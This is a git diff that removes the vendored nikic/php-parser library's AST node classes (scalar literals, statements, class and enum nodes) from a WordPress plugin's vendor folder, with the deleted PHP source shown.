deleted file mode 100644 index 101611e6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyItem.php +++ /dev/null @@ -1,37 +0,0 @@ - $attributes Additional attributes - */ - public function __construct($name, ?Node\Expr $default = null, array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Node\VarLikeIdentifier($name) : $name; - $this->default = $default; - } - - public function getSubNodeNames(): array { - return ['name', 'default']; - } - - public function getType(): string { - return 'PropertyItem'; - } -} - -// @deprecated compatibility alias -class_alias(PropertyItem::class, Stmt\PropertyProperty::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar.php deleted file mode 100644 index 3df25721..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar.php +++ /dev/null @@ -1,6 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(float $value, array $attributes = []) { - $this->attributes = $attributes; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['value']; - } - - /** - * @param mixed[] $attributes - */ - public static function fromString(string $str, array $attributes = []): Float_ { - $attributes['rawValue'] = $str; - $float = self::parse($str); - - return new Float_($float, $attributes); - } - - /** - * @internal - * - * Parses a DNUMBER token like PHP would. - * - * @param string $str A string number - * - * @return float The parsed number - */ - public static function parse(string $str): float { - $str = str_replace('_', '', $str); - - // Check whether this is one of the special integer notations. - if ('0' === $str[0]) { - // hex - if ('x' === $str[1] || 'X' === $str[1]) { - return hexdec($str); - } - - // bin - if ('b' === $str[1] || 'B' === $str[1]) { - return bindec($str); - } - - // oct, but only if the string does not contain any of '.eE'. - if (false === strpbrk($str, '.eE')) { - // substr($str, 0, strcspn($str, '89')) cuts the string at the first invalid digit - // (8 or 9) so that only the digits before that are used. - return octdec(substr($str, 0, strcspn($str, '89'))); - } - } - - // dec - return (float) $str; - } - - public function getType(): string { - return 'Scalar_Float'; - } -} - -// @deprecated compatibility alias -class_alias(Float_::class, DNumber::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Int_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Int_.php deleted file mode 100644 index bcc257a6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/Int_.php +++ /dev/null @@ -1,82 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(int $value, array $attributes = []) { - $this->attributes = $attributes; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['value']; - } - - /** - * Constructs an Int node from a string number literal. - * - * @param string $str String number literal (decimal, octal, hex or binary) - * @param array $attributes Additional attributes - * @param bool $allowInvalidOctal Whether to allow invalid octal numbers (PHP 5) - * - * @return Int_ The constructed LNumber, including kind attribute - */ - public static function fromString(string $str, array $attributes = [], bool $allowInvalidOctal = false): Int_ { - $attributes['rawValue'] = $str; - - $str = str_replace('_', '', $str); - - if ('0' !== $str[0] || '0' === $str) { - $attributes['kind'] = Int_::KIND_DEC; - return new Int_((int) $str, $attributes); - } - - if ('x' === $str[1] || 'X' === $str[1]) { - $attributes['kind'] = Int_::KIND_HEX; - return new Int_(hexdec($str), $attributes); - } - - if ('b' === $str[1] || 'B' === $str[1]) { - $attributes['kind'] = Int_::KIND_BIN; - return new Int_(bindec($str), $attributes); - } - - if (!$allowInvalidOctal && strpbrk($str, '89')) { - throw new Error('Invalid numeric literal', $attributes); - } - - // Strip optional explicit octal prefix. - if ('o' === $str[1] || 'O' === $str[1]) { - $str = substr($str, 2); - } - - // use intval instead of octdec to get proper cutting behavior with malformed numbers - $attributes['kind'] = Int_::KIND_OCT; - return new Int_(intval($str, 8), $attributes); - } - - public function getType(): string { - return 'Scalar_Int'; - } -} - -// @deprecated compatibility alias -class_alias(Int_::class, LNumber::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/InterpolatedString.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/InterpolatedString.php deleted file mode 100644 index 9336dfe4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/InterpolatedString.php +++ /dev/null @@ -1,34 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $parts, array $attributes = []) { - $this->attributes = $attributes; - $this->parts = $parts; - } - - public function getSubNodeNames(): array { - return ['parts']; - } - - public function getType(): string { - return 'Scalar_InterpolatedString'; - } -} - -// @deprecated compatibility alias -class_alias(InterpolatedString::class, Encapsed::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/LNumber.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/LNumber.php deleted file mode 100644 index 0d128710..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/LNumber.php +++ /dev/null @@ -1,11 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $attributes = []) { - $this->attributes = $attributes; - } - - public function getSubNodeNames(): array { - return []; - } - - /** - * Get name of magic constant. - * - * @return string Name of magic constant - */ - abstract public function getName(): string; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Class_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Class_.php deleted file mode 100644 index 732ed140..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Scalar/MagicConst/Class_.php +++ /dev/null @@ -1,15 +0,0 @@ - Escaped character to its decoded value */ - protected static array $replacements = [ - '\\' => '\\', - '$' => '$', - 'n' => "\n", - 'r' => "\r", - 't' => "\t", - 'f' => "\f", - 'v' => "\v", - 'e' => "\x1B", - ]; - - /** - * Constructs a string scalar node. - * - * @param string $value Value of the string - * @param array $attributes Additional attributes - */ - public function __construct(string $value, array $attributes = []) { - $this->attributes = $attributes; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['value']; - } - - /** - * @param array $attributes - * @param bool $parseUnicodeEscape Whether to parse PHP 7 \u escapes - */ - public static function fromString(string $str, array $attributes = [], bool $parseUnicodeEscape = true): self { - $attributes['kind'] = ($str[0] === "'" || ($str[1] === "'" && ($str[0] === 'b' || $str[0] === 'B'))) - ? Scalar\String_::KIND_SINGLE_QUOTED - : Scalar\String_::KIND_DOUBLE_QUOTED; - - $attributes['rawValue'] = $str; - - $string = self::parse($str, $parseUnicodeEscape); - - return new self($string, $attributes); - } - - /** - * @internal - * - * Parses a string token. - * - * @param string $str String token content - * @param bool $parseUnicodeEscape Whether to parse PHP 7 \u escapes - * - * @return string The parsed string - */ - public static function parse(string $str, bool $parseUnicodeEscape = true): string { - $bLength = 0; - if ('b' === $str[0] || 'B' === $str[0]) { - $bLength = 1; - } - - if ('\'' === $str[$bLength]) { - return str_replace( - ['\\\\', '\\\''], - ['\\', '\''], - substr($str, $bLength + 1, -1) - ); - } else { - return self::parseEscapeSequences( - substr($str, $bLength + 1, -1), '"', $parseUnicodeEscape - ); - } - } - - /** - * @internal - * - * Parses escape sequences in strings (all string types apart from single quoted). - * - * @param string $str String without quotes - * @param null|string $quote Quote type - * @param bool $parseUnicodeEscape Whether to parse PHP 7 \u escapes - * - * @return string String with escape sequences parsed - */ - public static function parseEscapeSequences(string $str, ?string $quote, bool $parseUnicodeEscape = true): string { - if (null !== $quote) { - $str = str_replace('\\' . $quote, $quote, $str); - } - - $extra = ''; - if ($parseUnicodeEscape) { - $extra = '|u\{([0-9a-fA-F]+)\}'; - } - - return preg_replace_callback( - '~\\\\([\\\\$nrtfve]|[xX][0-9a-fA-F]{1,2}|[0-7]{1,3}' . $extra . ')~', - function ($matches) { - $str = $matches[1]; - - if (isset(self::$replacements[$str])) { - return self::$replacements[$str]; - } - if ('x' === $str[0] || 'X' === $str[0]) { - return chr(hexdec(substr($str, 1))); - } - if ('u' === $str[0]) { - $dec = hexdec($matches[2]); - // If it overflowed to float, treat as INT_MAX, it will throw an error anyway. - return self::codePointToUtf8(\is_int($dec) ? $dec : \PHP_INT_MAX); - } else { - return chr(octdec($str)); - } - }, - $str - ); - } - - /** - * Converts a Unicode code point to its UTF-8 encoded representation. - * - * @param int $num Code point - * - * @return string UTF-8 representation of code point - */ - private static function codePointToUtf8(int $num): string { - if ($num <= 0x7F) { - return chr($num); - } - if ($num <= 0x7FF) { - return chr(($num >> 6) + 0xC0) . chr(($num & 0x3F) + 0x80); - } - if ($num <= 0xFFFF) { - return chr(($num >> 12) + 0xE0) . chr((($num >> 6) & 0x3F) + 0x80) . chr(($num & 0x3F) + 0x80); - } - if ($num <= 0x1FFFFF) { - return chr(($num >> 18) + 0xF0) . chr((($num >> 12) & 0x3F) + 0x80) - . chr((($num >> 6) & 0x3F) + 0x80) . chr(($num & 0x3F) + 0x80); - } - throw new Error('Invalid UTF-8 codepoint escape sequence: Codepoint too large'); - } - - public function getType(): string { - return 'Scalar_String'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/StaticVar.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/StaticVar.php deleted file mode 100644 index 517c0edd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/StaticVar.php +++ /dev/null @@ -1,39 +0,0 @@ - $attributes Additional attributes - */ - public function __construct( - Expr\Variable $var, ?Node\Expr $default = null, array $attributes = [] - ) { - $this->attributes = $attributes; - $this->var = $var; - $this->default = $default; - } - - public function getSubNodeNames(): array { - return ['var', 'default']; - } - - public function getType(): string { - return 'StaticVar'; - } -} - -// @deprecated compatibility alias -class_alias(StaticVar::class, Stmt\StaticVar::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt.php deleted file mode 100644 index 481d31a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt.php +++ /dev/null @@ -1,8 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $stmts, array $attributes = []) { - $this->attributes = $attributes; - $this->stmts = $stmts; - } - - public function getType(): string { - return 'Stmt_Block'; - } - - public function getSubNodeNames(): array { - return ['stmts']; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Break_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Break_.php deleted file mode 100644 index d2bcc5eb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Break_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Node\Expr $num = null, array $attributes = []) { - $this->attributes = $attributes; - $this->num = $num; - } - - public function getSubNodeNames(): array { - return ['num']; - } - - public function getType(): string { - return 'Stmt_Break'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Case_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Case_.php deleted file mode 100644 index a06ca183..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Case_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Node\Expr $cond, array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['cond', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Case'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Catch_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Catch_.php deleted file mode 100644 index e8d39c9c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Catch_.php +++ /dev/null @@ -1,40 +0,0 @@ - $attributes Additional attributes - */ - public function __construct( - array $types, ?Expr\Variable $var = null, array $stmts = [], array $attributes = [] - ) { - $this->attributes = $attributes; - $this->types = $types; - $this->var = $var; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['types', 'var', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Catch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassConst.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassConst.php deleted file mode 100644 index 9bdce1f1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassConst.php +++ /dev/null @@ -1,77 +0,0 @@ - $attributes Additional attributes - * @param list $attrGroups PHP attribute groups - * @param null|Node\Identifier|Node\Name|Node\ComplexType $type Type declaration - */ - public function __construct( - array $consts, - int $flags = 0, - array $attributes = [], - array $attrGroups = [], - ?Node $type = null - ) { - $this->attributes = $attributes; - $this->flags = $flags; - $this->consts = $consts; - $this->attrGroups = $attrGroups; - $this->type = $type; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'type', 'consts']; - } - - /** - * Whether constant is explicitly or implicitly public. - */ - public function isPublic(): bool { - return ($this->flags & Modifiers::PUBLIC) !== 0 - || ($this->flags & Modifiers::VISIBILITY_MASK) === 0; - } - - /** - * Whether constant is protected. - */ - public function isProtected(): bool { - return (bool) ($this->flags & Modifiers::PROTECTED); - } - - /** - * Whether constant is private. - */ - public function isPrivate(): bool { - return (bool) ($this->flags & Modifiers::PRIVATE); - } - - /** - * Whether constant is final. - */ - public function isFinal(): bool { - return (bool) ($this->flags & Modifiers::FINAL); - } - - public function getType(): string { - return 'Stmt_ClassConst'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassLike.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassLike.php deleted file mode 100644 index fb9ba4f5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassLike.php +++ /dev/null @@ -1,109 +0,0 @@ -stmts as $stmt) { - if ($stmt instanceof TraitUse) { - $traitUses[] = $stmt; - } - } - return $traitUses; - } - - /** - * @return ClassConst[] - */ - public function getConstants(): array { - $constants = []; - foreach ($this->stmts as $stmt) { - if ($stmt instanceof ClassConst) { - $constants[] = $stmt; - } - } - return $constants; - } - - /** - * @return Property[] - */ - public function getProperties(): array { - $properties = []; - foreach ($this->stmts as $stmt) { - if ($stmt instanceof Property) { - $properties[] = $stmt; - } - } - return $properties; - } - - /** - * Gets property with the given name defined directly in this class/interface/trait. - * - * @param string $name Name of the property - * - * @return Property|null Property node or null if the property does not exist - */ - public function getProperty(string $name): ?Property { - foreach ($this->stmts as $stmt) { - if ($stmt instanceof Property) { - foreach ($stmt->props as $prop) { - if ($prop instanceof PropertyItem && $name === $prop->name->toString()) { - return $stmt; - } - } - } - } - return null; - } - - /** - * Gets all methods defined directly in this class/interface/trait - * - * @return ClassMethod[] - */ - public function getMethods(): array { - $methods = []; - foreach ($this->stmts as $stmt) { - if ($stmt instanceof ClassMethod) { - $methods[] = $stmt; - } - } - return $methods; - } - - /** - * Gets method with the given name defined directly in this class/interface/trait. - * - * @param string $name Name of the method (compared case-insensitively) - * - * @return ClassMethod|null Method node or null if the method does not exist - */ - public function getMethod(string $name): ?ClassMethod { - $lowerName = strtolower($name); - foreach ($this->stmts as $stmt) { - if ($stmt instanceof ClassMethod && $lowerName === $stmt->name->toLowerString()) { - return $stmt; - } - } - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassMethod.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassMethod.php deleted file mode 100644 index 59c0519e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ClassMethod.php +++ /dev/null @@ -1,154 +0,0 @@ - */ - private static array $magicNames = [ - '__construct' => true, - '__destruct' => true, - '__call' => true, - '__callstatic' => true, - '__get' => true, - '__set' => true, - '__isset' => true, - '__unset' => true, - '__sleep' => true, - '__wakeup' => true, - '__tostring' => true, - '__set_state' => true, - '__clone' => true, - '__invoke' => true, - '__debuginfo' => true, - '__serialize' => true, - '__unserialize' => true, - ]; - - /** - * Constructs a class method node. - * - * @param string|Node\Identifier $name Name - * @param array{ - * flags?: int, - * byRef?: bool, - * params?: Node\Param[], - * returnType?: null|Node\Identifier|Node\Name|Node\ComplexType, - * stmts?: Node\Stmt[]|null, - * attrGroups?: Node\AttributeGroup[], - * } $subNodes Array of the following optional subnodes: - * 'flags => 0 : Flags - * 'byRef' => false : Whether to return by reference - * 'params' => array() : Parameters - * 'returnType' => null : Return type - * 'stmts' => array() : Statements - * 'attrGroups' => array() : PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->flags = $subNodes['flags'] ?? $subNodes['type'] ?? 0; - $this->byRef = $subNodes['byRef'] ?? false; - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->params = $subNodes['params'] ?? []; - $this->returnType = $subNodes['returnType'] ?? null; - $this->stmts = array_key_exists('stmts', $subNodes) ? $subNodes['stmts'] : []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'byRef', 'name', 'params', 'returnType', 'stmts']; - } - - public function returnsByRef(): bool { - return $this->byRef; - } - - public function getParams(): array { - return $this->params; - } - - public function getReturnType() { - return $this->returnType; - } - - public function getStmts(): ?array { - return $this->stmts; - } - - public function getAttrGroups(): array { - return $this->attrGroups; - } - - /** - * Whether the method is explicitly or implicitly public. - */ - public function isPublic(): bool { - return ($this->flags & Modifiers::PUBLIC) !== 0 - || ($this->flags & Modifiers::VISIBILITY_MASK) === 0; - } - - /** - * Whether the method is protected. - */ - public function isProtected(): bool { - return (bool) ($this->flags & Modifiers::PROTECTED); - } - - /** - * Whether the method is private. - */ - public function isPrivate(): bool { - return (bool) ($this->flags & Modifiers::PRIVATE); - } - - /** - * Whether the method is abstract. - */ - public function isAbstract(): bool { - return (bool) ($this->flags & Modifiers::ABSTRACT); - } - - /** - * Whether the method is final. - */ - public function isFinal(): bool { - return (bool) ($this->flags & Modifiers::FINAL); - } - - /** - * Whether the method is static. - */ - public function isStatic(): bool { - return (bool) ($this->flags & Modifiers::STATIC); - } - - /** - * Whether the method is magic. - */ - public function isMagic(): bool { - return isset(self::$magicNames[$this->name->toLowerString()]); - } - - public function getType(): string { - return 'Stmt_ClassMethod'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Class_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Class_.php deleted file mode 100644 index 3f492b7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Class_.php +++ /dev/null @@ -1,94 +0,0 @@ - 0 : Flags - * 'extends' => null : Name of extended class - * 'implements' => array(): Names of implemented interfaces - * 'stmts' => array(): Statements - * 'attrGroups' => array(): PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->flags = $subNodes['flags'] ?? $subNodes['type'] ?? 0; - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->extends = $subNodes['extends'] ?? null; - $this->implements = $subNodes['implements'] ?? []; - $this->stmts = $subNodes['stmts'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'name', 'extends', 'implements', 'stmts']; - } - - /** - * Whether the class is explicitly abstract. - */ - public function isAbstract(): bool { - return (bool) ($this->flags & Modifiers::ABSTRACT); - } - - /** - * Whether the class is final. - */ - public function isFinal(): bool { - return (bool) ($this->flags & Modifiers::FINAL); - } - - public function isReadonly(): bool { - return (bool) ($this->flags & Modifiers::READONLY); - } - - /** - * Whether the class is anonymous. - */ - public function isAnonymous(): bool { - return null === $this->name; - } - - public function getType(): string { - return 'Stmt_Class'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Const_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Const_.php deleted file mode 100644 index f1165fd0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Const_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $consts, array $attributes = []) { - $this->attributes = $attributes; - $this->consts = $consts; - } - - public function getSubNodeNames(): array { - return ['consts']; - } - - public function getType(): string { - return 'Stmt_Const'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Continue_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Continue_.php deleted file mode 100644 index 54e979dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Continue_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Node\Expr $num = null, array $attributes = []) { - $this->attributes = $attributes; - $this->num = $num; - } - - public function getSubNodeNames(): array { - return ['num']; - } - - public function getType(): string { - return 'Stmt_Continue'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/DeclareDeclare.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/DeclareDeclare.php deleted file mode 100644 index 1a3c3616..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/DeclareDeclare.php +++ /dev/null @@ -1,13 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $declares, ?array $stmts = null, array $attributes = []) { - $this->attributes = $attributes; - $this->declares = $declares; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['declares', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Declare'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Do_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Do_.php deleted file mode 100644 index 61244428..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Do_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $cond, array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['stmts', 'cond']; - } - - public function getType(): string { - return 'Stmt_Do'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Echo_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Echo_.php deleted file mode 100644 index 4d424523..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Echo_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $exprs, array $attributes = []) { - $this->attributes = $attributes; - $this->exprs = $exprs; - } - - public function getSubNodeNames(): array { - return ['exprs']; - } - - public function getType(): string { - return 'Stmt_Echo'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ElseIf_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ElseIf_.php deleted file mode 100644 index b26d59ce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/ElseIf_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $cond, array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['cond', 'stmts']; - } - - public function getType(): string { - return 'Stmt_ElseIf'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Else_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Else_.php deleted file mode 100644 index 3d2b066e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Else_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['stmts']; - } - - public function getType(): string { - return 'Stmt_Else'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/EnumCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/EnumCase.php deleted file mode 100644 index c071a0af..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/EnumCase.php +++ /dev/null @@ -1,36 +0,0 @@ - $attrGroups PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, ?Node\Expr $expr = null, array $attrGroups = [], array $attributes = []) { - parent::__construct($attributes); - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->expr = $expr; - $this->attrGroups = $attrGroups; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'name', 'expr']; - } - - public function getType(): string { - return 'Stmt_EnumCase'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Enum_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Enum_.php deleted file mode 100644 index 7eea6a69..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Enum_.php +++ /dev/null @@ -1,44 +0,0 @@ - null : Scalar type - * 'implements' => array() : Names of implemented interfaces - * 'stmts' => array() : Statements - * 'attrGroups' => array() : PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, array $subNodes = [], array $attributes = []) { - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->scalarType = $subNodes['scalarType'] ?? null; - $this->implements = $subNodes['implements'] ?? []; - $this->stmts = $subNodes['stmts'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - - parent::__construct($attributes); - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'name', 'scalarType', 'implements', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Enum'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Expression.php 